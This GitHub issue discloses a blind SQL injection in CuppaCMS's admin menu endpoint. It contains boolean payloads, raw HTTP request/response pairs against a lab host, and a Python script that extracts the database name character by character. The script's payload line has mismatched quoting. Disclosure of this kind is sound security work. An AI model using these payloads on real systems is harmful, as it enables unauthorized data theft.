

[New issue](#)[Jump to bottom](#)

SQL injection vulnerability exists in CuppaCMS

/administrator/components/menu/ #14

[Open](#)

truonghuuphuc opened this issue on Jan 4 · 0 comments

truonghuuphuc commented on Jan 4 • edited ▼

- VULNERABLE: SQL injection vulnerability exists in CuppaCMS. An attacker can inject query in `"/administrator/components/menu/"` via the `'path=component/menu/&menu_filter=3'` parameters.
- Date: 4/1/2022
- Exploit Author: Trương Hữu Phúc
- Contact me:
- Github: <https://github.com/truonghuuphuc>
- Email: phuctruong2k@gmail.com
- Product: CuppaCMS
- Description: The vulnerability is present in the `"/administrator/components/menu/"`, and can be exploited through a POST request via the `'path=component/menu/&menu_filter=3'` parameters.
- Impact: Allow attacker inject query and access, disclosure of all data on the system.
- Suggestions: User input should be filter, Escaping and Parameterized Queries.
- Payload Boolean true: `path=component/menu/&menu_filter=3'` and `'3'='3`
- Payload Boolean false: `path=component/menu/&menu_filter=3'` and `'4'='3`
- Payload exploit example: `path=component/menu/&menu_filter=3'` and `if(SUBSTRING(database(),index,1)='character','1','0')='1`
- Payload exploit: `path=component/menu/&menu_filter=3'` and `if(SUBSTRING(database(),1,1)='c','1','0')='1`
- Proof of concept (POC):
- Payload Boolean true: `path=component/menu/&menu_filter=3'` and `'3'='3`

- Request and Response:

Request

Pretty Raw \n Actions

```

1 POST /administrator/components/menu/ HTTP/1.1
2 Host: 192.168.1.8:8080
3 Content-Length: 131
4 Accept: */*
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 Origin: http://192.168.1.8:8080
9 Referer: http://192.168.1.8:8080/administrator/
10 Accept-Encoding: gzip, deflate
11 Accept-Language: vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5
12 Cookie: DedeLoginTime=1640950145; DedeLoginTimeLBH2LANI1AGD297L1FF21LN02BGE1DNG=6d85a663f6478df0; country=us; language=en; PHPSESSID=j40vscqo3ueef9jhlh0ncj18m4; administrator_path=http%3A%2F%2F192.168.1.8%3A8080%2Fadministrator%2F; administrator_document_path=%2Fadministrator%2F
13 Connection: close
14
15 path=component%2Fmenu%2F%26menu_filter%3D3'+and+'3'='3&data_get=eyJtcZW51X22pbHRlciI6IjMifQ%3D%3D&uniqueClass=wrapper_content_850336


```

Search... 0 matches

Response

Pretty Raw Render \n Actions

Menu items

<input type="checkbox"/> Id	Title	Item type	Menu	Language	Order	Enabled	Default	Options
<input type="checkbox"/> 211	Home Alias: home	URL	web	All	15	True	True	Default 

admin_menu

a
b
c

- Payload Boolean false: path=component/menu/&menu_filter=3' and '4'='3
- Request and Response:

Request

Pretty Raw \n Actions

```

1 POST /administrator/components/menu/ HTTP/1.1
2 Host: 192.168.1.8:8080
3 Content-Length: 131
4 Accept: */*
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 Origin: http://192.168.1.8:8080
9 Referer: http://192.168.1.8:8080/administrator/
10 Accept-Encoding: gzip, deflate
11 Accept-Language: vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5
12 Cookie: DedeLoginTime=1640950145; DedeLoginTimeLBH2LANI1AGD297L1FF21LN02BGE1DNG=6d85a663f6478df0; country=us; language=en; PHPSESSID=j40vscqo3ueef9jhlh0ncj18m4; administrator_path=http%3A%2F%2F192.168.1.8%3A8080%2Fadministrator%2F; administrator_document_path=%2Fadministrator%2F
13 Connection: close
14
15 path=component%2Fmenu%2F%26menu_filter%3D3'+and+'4'='3&data_get=eyJtcZW51X22pbHRlciI6IjMifQ%3D%3D&uniqueClass=wrapper_content_850336

```

Search... 0 matches

Response

Pretty Raw Render \n Actions

Menu items

admin_menu

a
b
c

Warning: count(): Parameter must be an array or an object that implements Countable in C:\xampp\htdocs\administrator\components\menu\html\list.php on line 145

<input type="checkbox"/> Id	Title	Item type	Menu	Language	Order	Enabled	Default	Options
-----------------------------	-------	-----------	------	----------	-------	---------	---------	---------

- Exploit:

```
import requests
import string
url = "http://192.168.1.8:8080/administrator/components/menu/"



headers = {
    "Origin": "http://192.168.1.8:8080",
    "Cookie": "DedeLoginTime=1640950145; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=6d85a663f6478df0; country=us; language=en; PHPSESSID=j40vscqo",
    "Accept": "*/*",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
    "Referer": "http://192.168.1.8:8080/administrator/",
    "Connection": "close",
    "Host": "192.168.1.8:8080",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}


database=""
for i in range(1,6):
    for j in string.ascii_letters+string.digits+" "+"+":
        payload = "path=component%2Fmenu%2F%26menu_filter%3D3"+" and if(substring(database(),{0},1)='{1}','1','0')='1'.format(i,j)+"&data_get=eyJtZ"
        response = requests.post(url, data=payload, headers=headers)
        if response.headers['Content-Length']==str(7192):
            database+=j
            print('database: '+database)
            break
```

```
(phuc th (DESKTOP-E71D77I)-[/mnt/c/Users/welcome/Desktop/report])
$ python3 poc.py
database: c
database: cu
database: cup
database: cupp
database: cuppa
```

- Report:

[Report.pdf](#)

  **truonghuuphuc** changed the title ~~SQL injection vulnerability exists in CuppaCMS. An attacker can inject query in "/>~~

  **truonghuuphuc** changed the title ~~SQL injection vulnerability exists in CuppaCMS part 2~~ SQL injection vulnerability exists in CuppaCMS /administrator/components/menu/ on Jan 13

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

